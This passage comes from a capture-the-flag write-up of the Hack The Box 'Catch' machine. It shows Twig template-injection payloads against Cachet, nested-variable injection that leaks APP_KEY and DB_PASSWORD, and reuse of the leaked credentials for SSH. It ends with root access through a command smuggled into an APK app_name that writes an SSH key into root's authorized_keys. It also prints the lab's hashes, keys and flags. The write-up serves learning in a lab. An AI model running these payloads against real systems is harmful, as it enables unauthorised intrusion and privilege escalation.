| id | email | active | level | api_key | password | username | welcomed | created_at | updated_at | remember_token | google_2fa_secret |
+----+-----------------+--------+---------+----------------------+--------------------------------------------------------------+----------+----------+---------------------+---------------------+--------------------------------------------------------------+-------------------+
| 1 | admin@catch.htb | 1 | 1 | rMSN8kJN9TPADl2cWv8N | $2y$10$quY5ttamPWVo54lbyLSWEu00A/tkMlqoFaEKwJSWPVGHpVK2Wj7Om | admin | 1 | 2022-03-03 02:51:26 | 2022-03-03 02:51:35 | 5t3PCyAurH7oKann9dhMfL7t0ZTN7bz4yiASDB8EAfkAOcN60yx0YTfBBlPj | NULL |
| 2 | john@catch.htb | 1 | 2 | 7GVCqTY5abrox48Nct8j | $2y$10$2jcDURPAEbv2EEKto0ANb.jcjgiAwWzkwzZKNT9fUpOziGjJy5r8e | john | 1 | 2022-03-03 02:51:57 | 2022-03-03 02:52:12 | 5N58LraMhWCeM6kVL1OgADG4DoUkViSmJLowCth6ocSLv9s7DyDmNWgYEJlB | NULL |
+----+-----------------+--------+---------+----------------------+--------------------------------------------------------------+----------+----------+---------------------+---------------------+--------------------------------------------------------------+-------------------+
Interestingly there were only two users, which significantly sped up the process, and it finished some time before I got home. I now also had some sort of API key for both john
and admin
, as well as potential password hashes to crack. Next I did some research into what I could possibly do with those API keys.
- https://docs.cachethq.io/docs/api-authentication
API Token
The API Token is generated at installation time for the main user or when a new team member is added to your status page and can be found on your profile page (click your profile picture to get there). Once you have your token you’ll need to add a new request header of
X-Cachet-Token: TOKEN
1 $ curl -H "Content-Type: application/json;" -H "X-Cachet-Token: YOUR_KEY_HERE" -d '{"name":"API","description":"An example description","status":1}' http://status.cachethq.io/api/v1/components
Now I needed to figure out the url to connect to.
- https://docs.cachethq.io/docs/base-url
Don’t forget to use your own URL! The URL provided above is an example domain, you must provide your own when running requests.
Looked like more brute force time
Checked dirbuster to see if I could figure out what the local custom domain was. I got back a list of interesting endpoints.
I tried multiple of the interesting sounding endpoints to see how they would respond. I got a “Pong!” back from the /ping
API.
After testing a few of them, I found that I had to send data to get them to respond. Because of that, I decided to try POST to see if I could upload data.
- https://docs.cachethq.io/docs/post-parameters
After I changed GET to POST I got a 400 Bad Request error.
1
2
3
4
5
6
7
8
9
HTTP/1.1 400 Bad Request
Date: Sun, 17 Jul 2022 15:49:34 GMT
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Content-Length: 238
Connection: close
Content-Type: application/json
{"errors":[{"id":"844fb912-5cf0-4b81-a5d5-808f1e8f0fe7","status":400,"title":"Bad Request","detail":"The request cannot be fulfilled due to bad syntax.","meta":{"details":["The name field is required.","The status field is required."]}}]}
The first error message told me that the name and status fields were required, so I supplied values for those.
Next, I got an error message telling me that the status field must be an integer.
- https://docs.cachethq.io/docs/incident-statuses
I found a page that explained what the integer status codes mapped to. I picked 0
for “Scheduled” to see if perhaps something was being automated to handle incidents that were scheduled.
Next, I got another error message that said “The message field is required”. The message field sounded like a likely place to do some injection, so I tried putting in cross site scripting attempts, and a reverse shell. These did not seem to do anything however, so I did some more reading on what Cachet was using to process these JSON messages. This led me to Twig
.
- https://twig.symfony.com/
Twig is a modern template engine for PHP
I googled “twig template exploit” and found an interesting blog post.
- https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9
Apparently this type of attack is called server side template injection (SSTI).
- https://portswigger.net/research/server-side-template-injection
I created a couple of new incidents using this attack method as a test.
1
"permalink":"http:\/\/status.catch.htb:8000\/incidents\/2"
Using a GET request I was able to get the incidents I had created back, and noticed that there was a permalink at the bottom of each.
Going to this permalink showed the number 49
which meant there was code execution!
1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
I found the above example exploit on the blog post and used it to see if I could run arbitrary system commands as well.
1
2
3
<div class="markdown-body">
<p>'{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}'</p>
After creating a new incident using this payload I navigated to the permalink page and found that it was blank. It didn’t even have the name header or anything. I check in the source of the page to see if I could figure out what had happened and found that the code was there, but the quotes had been encoded.
1
2
<div class="markdown-body">
<p>{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id'}}</p>
On my next attempt I found that using single quotes fixed the encoding problem, but there was still no code execution inside the <p>
tags. Next I tried a different payload.
1
2
<div class="markdown-body">
<p>{{['id']|filter('system')}}</p>
This led the code to display the message ["id"]
on the page, so I seemed to be getting closer.
I thought that perhaps the rendering engine was blocking execution, but maybe in the backend it was working. After extensive testing, this ended up not being true, and this route seemed like a dead end. I went back to looking at the other CVEs to see if a different one would get me further.
- https://github.com/advisories/GHSA-88f9-7xxh-c688
- https://github.com/narkopolo/CVE-2021-39174-PoC/blob/main/exploit.py
AFter looking at this PoC and seeing that it needed credentials I went back to my notes and realized I had a username and password I had gotten from the chat: john : E}V!mywu_69T4C}W
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ python ./cachet.py -n john -p 'E}V!mywu_69T4C}W' -u 'http://status.catch.htb:8000/'
[+] Getting CSRF token
[+] CSRF token: DKnz1nWiL8Irrdgkm1IOXYmPveMbzTU2AiIdVDzc
[+] Logging in as user 'john'
[+] Successfully logged in
[+] Getting current field values
[+] Sending payload
Traceback (most recent call last):
File "/home/zweilos/htb/catch/./cachet.py", line 141, in <module>
extracted = extract_variables(dotenv_variables.splitlines())
File "/home/zweilos/htb/catch/./cachet.py", line 128, in extract_variables
payload_response = soup.find("input", {"name": "config[mail_address]"})["value"]
TypeError: 'NoneType' object is not subscriptable
I tried running the Python PoC with the credentials I had found. It logged in successfully, but for some reason the script failed when sending the payload.
The python script did not work, but I was able to log into the dashboard using the login page I had found earlier.
I found another IP to check out for the future on the Application Setup page: http://10.129.136.74:8001
.
I tried creating a Template using the template injection example I found on the earlier blog post.
I also attempted to create a reverse shell, thinking perhaps it was only output that was being filtered on the permalink pages.
I also created incidents, inserting multiple different payloads from different sources to see if any would go through. This was after I realized the Template was just a template for the messages field in the incidents being created.
No matter what payload I tried injected here, only the basic functions such as math got me a visible code execution result. I decided to move on and do some more reading on the subject.
Nested Variable Assignment Vulnerability
I found another blog that mentioned something called “Nested Variable assignment”. This involved invoking application environment variables by stuffing the call to them inside another variable.
https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/
https://github.com/vlucas/phpdotenv#nesting-variables
I found that the APP_KEY
variable, if leaked, could lead to code execution, so it seemed like a good target. After checking back with the Python PoC, I noticed that it was stuffing each of the variables it was targeting into the payload.
APP_KEY
I was able to get the APP_KEY base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA=
by using the nested variable ${APP_KEY}
into the vulnerable field on the Mail setting page.
DB_PASSWORD
Using the same vulnerability, I was able to use the variable ${DB_PASSWORD}
to get the database password s2#4Fg0_%3!
.
I had to refresh the page between each insert to be able to see the contents of the targeted variable.
Initial Foothold
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ ssh will@10.10.11.150
will@10.10.11.150's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 17 Jul 2022 11:21:13 PM UTC
System load: 0.08
Usage of /: 74.7% of 16.61GB
Memory usage: 85%
Swap usage: 25%
Processes: 440
Users logged in: 0
IPv4 address for br-535b7cf3a728: 172.18.0.1
IPv4 address for br-fe1b5695b604: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.150
IPv6 address for eth0: dead:beef::250:56ff:feb9:3f59
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
will@catch:~$ id && hostname
uid=1000(will) gid=1000(will) groups=1000(will)
catch
Using the DB_PASSWORD
I was able to SSH into the machine with the username will
(Danger Will Robinson!).
User.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
will@catch:~$ ls -la
total 32
drwxr-xr-x 4 will will 4096 Jul 17 23:21 .
drwxr-xr-x 4 root root 4096 Dec 14 2021 ..
lrwxrwxrwx 1 will will 9 Dec 14 2021 .bash_history -> /dev/null
-rw-r--r-- 1 will will 220 Dec 14 2021 .bash_logout
-rw-r--r-- 1 will will 3771 Dec 14 2021 .bashrc
drwx------ 2 will will 4096 Jul 17 23:21 .cache
drwxrwxr-x 3 will will 4096 Dec 14 2021 .local
-rw-r--r-- 1 will will 807 Dec 14 2021 .profile
-rw-r----- 1 root will 33 Jul 17 23:05 user.txt
will@catch:~$ cat user.txt
982be8c2865553ea4e0929cf5ba18de7
FINALLY!! After hours of looking for creds in all the wrong places, I was in and was able to get the user flag.
Path to Power (Gaining Administrator Access)
Enumeration as user will
1
2
3
will@catch:~$ sudo -l
[sudo] password for will:
Sorry, user will may not run sudo on catch.
Unfortunately, sudo -l
showed that will
was not part of the sudoers
group.
1
2
3
4
5
6
7
8
root 970 0.0 0.0 6812 2260 ? Ss Jul17 0:00 /usr/sbin/cron -f
root 992 0.0 0.0 8352 1804 ? S Jul17 0:00 _ /usr/sbin/CRON -f
root 1017 0.0 0.0 2608 408 ? Ss Jul17 0:00 _ /bin/sh -c cd /root/lets-chat;/usr/bin/npm start
...output truncated...
root 75832 0.0 0.0 18380 2948 ? S 02:00 0:00 _ /bin/bash /root/check.sh
root 75878 0.0 0.0 6708 936 ? S 02:00 0:00 _ inotifywait -q -e modify /var/www/html/Cachet/.env
Next I checked running processes, and noticed that there were a few different scripts running as root. One in particular was interesting because it targeted the Cachet files. The other was doing something with Lets Chat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
╔══════════╣ Different processes executed during 1 min (interesting is low number of repetitions)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs
55 /bin/sh -c /root/reset.sh
55 /bin/bash /root/reset.sh
17 /bin/bash /etc/init.d/mysql start
16 /bin/sh -c /opt/mdm/verify.sh
16 /bin/bash /opt/mdm/verify.sh
5 jarsigner -verify /root/mdm/apk_bin/aaf31bedf4c97a72d5cb649f.apk
4 docker cp /root/.env 97c652e737a4:/var/www/html/Cachet/.env
4 docker cp /root/.env 7b20ef63b871:/var/www/html/Cachet/.env
4 docker cp /root/.env 4e50cac873ae:/var/www/html/Cachet/.env
4 docker cp /root/.env 1c6af250c292:/var/www/html/Cachet/.env
3 docker cp /root/.env 97dac00b203d:/var/www/html/Cachet/.env
3 docker cp /root/.env 5bbd9c3d2d15:/var/www/html/Cachet/.env
3 docker cp /root/.env 3ef41b697e68:/var/www/html/Cachet/.env
2 /usr/sbin/mysqld --print-defaults
2 tr \n
2 tail -n 1
2 grep -- --datadir
2 docker cp /root/.env e2a173d974c7:/var/www/html/Cachet/.env
2 docker cp /root/.env c8dd41cc63e6:/var/www/html/Cachet/.env
2 docker cp /root/.env 8becd235e1cb:/var/www/html/Cachet/.env
2 docker cp /root/.env 6f444f4ca12d:/var/www/html/Cachet/.env
2 docker cp /root/.env 443fe29f925d:/var/www/html/Cachet/.env
2 cut -d= -f2
1 docker ps -a -q
linpeas.sh
showed a number of interesting running processes, including those same scripts I had found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 172.17.0.1:6000 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6001 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6002 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6003 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6004 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6006 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6007 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:34103 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6008 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6009 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6010 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6011 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6012 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6013 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6014 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6015 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
There seemed to be a lot of docker containers running. I figured that each of the services I had found was running out of each of those.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 root root 708 Mar 3 02:29 /var/www/html/Cachet/.env
APP_ENV=production
APP_DEBUG=false
APP_URL=http://localhost
APP_TIMEZONE=UTC
APP_KEY=base64:MqgBcB14yRq3I4jKQM8nGtrx74z5/GrjJsgEwbIjHik=
DEBUGBAR_ENABLED=false
DB_DRIVER=mysql
DB_HOST=localhost
DB_UNIX_SOCKET=null
DB_DATABASE=cachet
DB_USERNAME=homestead
DB_PASSWORD=secret
...output truncated...
The Cachet .env
file that took so long to get info out of seemed to have a different password in it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls
# file: /opt/mdm
USER root rwx
user will r-x
GROUP root r-x
mask r-x
other --x
# file: /opt/mdm/apk_bin
USER root rwx
user will rwx
GROUP root r-x
mask rwx
other --x
# file: /opt/mdm/verify.sh
USER root rwx
user will r-x
GROUP root r-x
mask r-x
other --x
The folder /opt/mdm/
seemed to be asking to be (ab)used. Owned by root, but will
could interact with it? I could even write in the apk_bin
folder!
/opt/mdm/verify.sh
1
2
3
4
5
6
will@catch:/opt/mdm$ ls -la
total 16
drwxr-x--x+ 3 root root 4096 Mar 3 14:23 .
drwxr-xr-x 4 root root 4096 Dec 16 2021 ..
drwxrwx--x+ 2 root root 4096 Dec 16 2021 apk_bin
-rwxr-x--x+ 1 root root 1894 Mar 3 14:23 verify.sh
I checked the contents of this folder and found the verify.sh
script I had seem running.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
###################
# MDM CheckerV1.0 #
###################
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin
for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
The script verify.sh
looked like it would take any file ending in .apk
that was dropped into the folder /opt/mdm/apk_bin
, do some checks on it, and then if they passed move the apk to the other folders for processing. The other folders were in the /root/mdm/
directory, so hopefully they would be able to get code execution by root if I could get the checks to pass.
1
2
3
4
5
6
7
8
9
10
11
12
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
The first check looked like it only validated whether the word “Catch” was in the title. It also looked like it checked this by simply using regex to select everything after <string name="app_name">
up to a closing <
. After this it echo
‘ed everything it just selected. This variable seemed likely injectable as there was no sanitization on what was being echoed.
1
<string name="app_name">CatchApp; echo *My_ed22519_key* > /root/.ssh/authorized_keys<
I decided to give my apk the above payload for a Name. Next, I did some research to see if I could find the smallest, simplest, yet still viable format for building an Android APK.
- https://ajinasokan.com/posts/smallest-app/
1
2
3
4
5
6
7
8
9
10
myapp
|--res
| |--layout
| |--activity_main.xml
|--src
| |--com
| |--myapp
| |--MainActivity.java
|
|--AndroidManifest.xml
The blog above boasted that an APK could be created that when compiled would only be 6 KB
! This looked like it would be the easiest route to go. The blog showed that with only six folders and three files a simple “Hello World” app could be created that would actually work.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.CatchApp;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}
I started off by creating the directory structure for my app that I creatively named CatchApp
(TM). Next I created the src/com/CatchApp/MainActivity.java
file using the template on the blog.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.CatchApp">
<application
android:label="AppNameInSettings"
android:theme="@android:style/Theme.Light.NoTitleBar">
<activity
android:name=".MainActivity"
android:label="AppNameInLauncher" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
Next up was AndroidManifest.xml
. Again, all I had to change was the app’s name.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="match_parent"
android:layout_height="match_parent">
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Hello World"/>
</LinearLayout>
<resources>
<string name="app_name">CatchApp; echo \'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYZo4RIMknmO8eV25kRvBrshVlyNyi3WSIFhT1WgcQx\' > /root/.ssh/authorized_keys </string>
</resources>
Next, I created the file res/layout/activity_main.xml
with my app_name
payload.
1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">CatchApp; echo \'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYZo4RIMknmO8eV25kRvBrshVlyNyi3WSIFhT1WgcQx\' > /root/.ssh/authorized_keys</string>
</resources>
- https://developer.android.com/guide/topics/resources/string-resource
The Android developer documents showed string resources in a file named strings.xml
so just in case I put my payload inside this file as well.
Next I used apktool to build my APK, but got an error message that seemed to indicate that the file apktool.yml
was missing. I copied the file from the other APK I decompiled easler and edited out the lines that didn’t apply. After that it built with no (breaking) errors.
I copied the file to the machine and into the /opt/mdm/apk_bin
folder, but after the script ran it didn’t let me SSH in as root. After playing with my payload a bit, I realized that the quotes needed to be escaped. I fixed the payload and rebuilt the APK.
Getting a shell as root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
will@catch:/dev/shm$ wget http://10.10.14.138:9002/CatchApp.apk
--2022-07-18 17:47:01-- http://10.10.14.138:9002/CatchApp.apk
Connecting to 10.10.14.138:9002... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1933 (1.9K) [application/vnd.android.package-archive]
Saving to: ‘CatchApp.apk’
CatchApp.apk 100%[==============================================>] 1.89K --.-KB/s in 0s
2022-07-18 17:47:02 (4.66 MB/s) - ‘CatchApp.apk’ saved [1933/1933]
will@catch:/dev/shm$ cp CatchApp.apk /opt/mdm/apk_bin
will@catch:/dev/shm$ cd /opt/mdm/apk_bin
will@catch:/opt/mdm/apk_bin$ ls
CatchApp.apk
will@catch:/opt/mdm/apk_bin$ ls
will@catch:/opt/mdm/apk_bin$
I downloaded my new APK to the victim, then copied it to the /opt/mdm/apk_bin
folder. After the script ran it removed my app from the folder, which indicated that it was time to try to log in.
Root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ ssh root@10.10.11.150 -i catch.key
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 18 Jul 2022 05:48:13 PM UTC
System load: 0.48
Usage of /: 71.8% of 16.61GB
Memory usage: 81%
Swap usage: 26%
Processes: 434
Users logged in: 1
IPv4 address for br-535b7cf3a728: 172.18.0.1
IPv4 address for br-fe1b5695b604: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.150
IPv6 address for eth0: dead:beef::250:56ff:feb9:8f7f
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Mar 12 20:46:23 2022 from 10.10.14.19
root@catch:~# cat root.txt
747daeb2e40324b8bfa600fe083d5514
After the APK dissapeared I tried to SSH in as root using the key I had generated, and was in! I collected my well-earned root flag and cleaned up.
Thanks to MrR3boot
for creating a machine that caused me to explore a few new topics. I had never really explored either SSTI nor Android development much before so it was quite interesting and refreshing to find something like this! The SSTI vulnerability, though being a rabbit hole, was interesting to learn and kept me entertained for longer than it should have!
If you like this content and would like to see more, please consider buying me a coffee!